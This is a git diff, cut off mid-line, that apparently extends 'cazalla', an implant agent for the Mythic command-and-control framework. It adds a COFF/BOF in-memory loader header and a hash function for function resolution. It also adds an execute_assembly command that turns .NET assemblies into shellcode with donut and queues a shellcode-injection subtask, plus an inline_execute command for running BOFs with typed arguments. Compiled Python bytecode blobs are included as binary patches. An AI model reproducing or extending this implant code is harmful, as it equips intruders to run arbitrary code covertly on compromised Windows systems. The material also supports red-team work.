b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h new file mode 100644 index 0000000..43fb4e7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h @@ -0,0 +1,107 @@ +#pragma once + +#ifndef INLINE_EXECUTE_H +#define INLINE_EXECUTE_H + +#include "analizador.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(__x86_64__) || defined(_WIN64) +#define PREPENDSYMBOLVALUE "__imp_" +#else +#define PREPENDSYMBOLVALUE "__imp__" +#endif + +#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0) + +// COFF relocation types (from winnt.h) +#define IMAGE_REL_AMD64_ADDR64 0x0001 +#define IMAGE_REL_AMD64_ADDR32NB 0x0003 +#define IMAGE_REL_AMD64_REL32 0x0004 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 + +// COFF File Header +typedef struct coff_file_header { + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} FileHeader_t; + +#pragma pack(push,1) + +// COFF Section Table +typedef struct coff_sections_table { + char Name[8]; + UINT32 VirtualSize; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLineNumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} Section_t; + +// COFF Relocations +typedef struct coff_relocations { + UINT32 VirtualAddress; + UINT32 SymbolTableIndex; + UINT16 Type; +} Relocation_t; + +// COFF Symbols Table +typedef struct coff_symbols_table { + union { + char Name[8]; + UINT32 value[2]; + } first; + UINT32 Value; + UINT16 SectionNumber; + UINT16 Type; + UINT8 StorageClass; + UINT8 NumberOfAuxSymbols; +} Symbol_t; + +#pragma pack(pop) + +// COFF structure +typedef struct COFF { + char* FileBase; + FileHeader_t* FileHeader; + Relocation_t* Relocation; + Symbol_t* SymbolTable; + void* RawTextData; + char* RelocationsTextPTR; + int RelocationsCount; + int FunctionMappingCount; +} COFF_t; + +// BOF Upload structure +typedef struct _BOF_UPLOAD { + CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator) + UINT32 totalChunks; // Total number of chunks + UINT32 currentChunk; // Current chunk number + SIZE_T size; // Size of the file + PVOID buffer; // Pointer to BOF buffer data +} BOF_UPLOAD, *PBOF_UPLOAD; + +// Function declarations +VOID InlineExecuteHandler(PAnalizador argumentos); +BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize); +DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof); + +#ifdef __cplusplus +} +#endif + +#endif // INLINE_EXECUTE_H + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index 4b1f203..61d69f3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -185,3 +185,18 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) { _dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); return 1; } + +/* Hash function for BOF function resolution (FNV-1a algorithm) */ +#define HASH_SEED 0x811C9DC5 +#define HASH_PRIME 0x01000193 + +UINT32 custom_hash(const char *data) { + UINT32 hash = HASH_SEED; + if (!data) return 0; + while (*data) { + hash ^= (UINT8)(*data); + hash *= HASH_PRIME; + data++; + } + return hash; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index 62c6410..bca7148 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -33,4 +33,7 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len); int base64_encode(const unsigned char *data, size_t dlen, char **out_b64); /* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */ +/* Hash function for BOF function resolution (FNV-1a) */ +UINT32 custom_hash(const char *data); + #endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc b/Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1cf03f36c5841c1c331f7782317e96622ddf2a04 GIT binary patch literal 186 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 PTRPCDynamicQueryFunctionMessageResponse: + response = PTRPCDynamicQueryFunctionMessageResponse() + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + CallbackID=callback.Callback, + LimitByCallback=False, + Filename="", + )) + if file_resp.Success: + file_names = [] + for f in file_resp.Files: + if f.Filename not in file_names and f.Filename.endswith(".exe"): + file_names.append(f.Filename) + response.Success = True + response.Choices = file_names + return response + else: + await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage( + CallbackId=callback.Callback, + Message=f"Failed to get files: {file_resp.Error}", + MessageLevel="warning" + )) + response.Error = f"Failed to get files: {file_resp.Error}" + return response + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + +class ExecuteAssemblyCommand(CommandBase): + cmd = "execute_assembly" + needs_admin = False + help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]" + description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")" + version = 1 + author = "@c0rnbread (adapted for Cazalla)" + script_only = True + attackmapping = [] + argument_class = ExecuteAssemblyArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + try: + groupName = taskData.args.get_parameter_group_name() + + if groupName == "New Assembly": + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + AgentFileID=taskData.args.get_arg("assembly_file") + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + pass + else: + raise Exception("Failed to find that file") + else: + raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error)) + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments") + ) + + taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename) + taskData.args.remove_arg("assembly_file") + + elif groupName == "Default": + # We're trying to find an already existing file and use that + file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + TaskID=taskData.Task.ID, + Filename=taskData.args.get_arg("assembly_name"), + LimitByCallback=False, + MaxResults=1 + )) + if file_resp.Success: + if len(file_resp.Files) > 0: + logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}") + + taskData.args.remove_arg("assembly_name") # Don't need this anymore + + # Set display parameters + response.DisplayParams = "-Assembly {} -Arguments {}".format( + file_resp.Files[0].Filename, + taskData.args.get_arg("assembly_arguments") + ) + + elif len(file_resp.Files) == 0: + raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?") + else: + raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error)) + + # Get the file contents of the .NET assembly + assembly_contents = await SendMythicRPCFileGetContent( + MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId) + ) + + # Try to import donut - required for execute_assembly + try: + import donut + except ImportError: + raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode") + + # Need a physical path for donut.create() + fd, temppath = tempfile.mkstemp(suffix='.exe') + logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"") + with os.fdopen(fd, 'wb') as tmp: + tmp.write(assembly_contents.Content) + + # Bypass=None, ExitOption=exit process + assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2) + # Clean up temp file + os.remove(temppath) + + logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes") + + # .NET shellcode stub in Mythic + shellcode_file_resp = await SendMythicRPCFileCreate( + MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True) + ) + + + if shellcode_file_resp.Success: + shellcode_file_uuid = shellcode_file_resp.AgentFileId + else: + raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error) + + # Send subtask to inject shellcode + # Note: This requires an inject_shellcode command to exist + # For now, we'll just register the file and note that inject_shellcode needs to be implemented + subtask = await SendMythicRPCTaskCreateSubtask( + MythicRPCTaskCreateSubtaskMessage( + taskData.Task.ID, + CommandName="inject_shellcode", + SubtaskCallbackFunction="coff_completion_callback", + Params=json.dumps({ + "shellcode_file": shellcode_file_uuid, + "method": "default" + }), + Token=taskData.Task.TokenID, + ) + ) + + return response + + except Exception as e: + raise Exception("Error from Mythic: " + str(e)) + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py new file mode 100644 index 0000000..d136543 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py @@ -0,0 +1,209 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json + +class InlineExecuteArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="bof_name", + cli_name="BOF", + display_name="BOF", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_files, + description="Already existing BOF to execute (e.g. whoami.x64.o)", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ) + ] + ), + CommandParameter( + name="bof_file", + display_name="New BOF", + type=ParameterType.File, + description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="New", + ui_position=1, + ) + ] + ), + CommandParameter( + name="bof_arguments", + cli_name="Arguments", + display_name="Arguments", + type=ParameterType.TypedArray, + default_value=[], + choices=["int16", "int32", "string", "wchar", "base64"], + description="""Arguments to pass to the BOF via the following way: + -s:123 or int16:123 + -i:123 or int32:123 + -z:hello or string:hello + -Z:hello or wchar:hello + -b:abc== or base64:abc==""", + typedarray_parse_function=self.get_arguments, + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=4 + ), + ParameterGroupInfo( + required=False, + group_name="New", + ui_position=4 + ), + ] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply arguments") + raise ValueError("Must supply named arguments or use the modal") + + async def parse_dictionary(self, dictionary_arguments): + # Allowed argument keys + expected_args = {"bof_arguments", "bof_file", "bof_name"} + + # Check if dictionary contains only allowed keys + invalid_keys = set(dictionary_arguments.keys()) - expected_args + if invalid_keys: + raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}") + + # Load only allowed arguments + filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args} + self.load_args_from_dictionary(filtered_arguments) + + async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse: + argumentSplitArray = [] + for argValue in arguments.InputArray: + argSplitResult = argValue.split(" ") + for spaceSplitArg in argSplitResult: + argumentSplitArray.append(spaceSplitArg) + bof_arguments = [] + for argument in argumentSplitArray: + if ":" not in argument: + continue + argType,value = argument.split(":",1) + value = value.strip("\'").strip("\"") + if argType == "": + pass + elif argType == "int16" or argType == "-s" or argType == "s": + bof_arguments.append(["int16", int(value)]) + elif argType == "int32" or argType == "-i" or argType == "i": + bof_arguments.append(["int32", int(value)]) + elif argType == "string" or argType == "-z" or argType == "z": + bof_arguments.append(["string",value]) + elif argType == "wchar" or argType == "-Z" or argType == "Z": + bof_arguments.append(["wchar",value]) + elif argType == "base64" or argType == "-b" or argType == "b": + bof_arguments.append(["base64",value]) + else: + return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, + Error=f"Failed to parse argument: 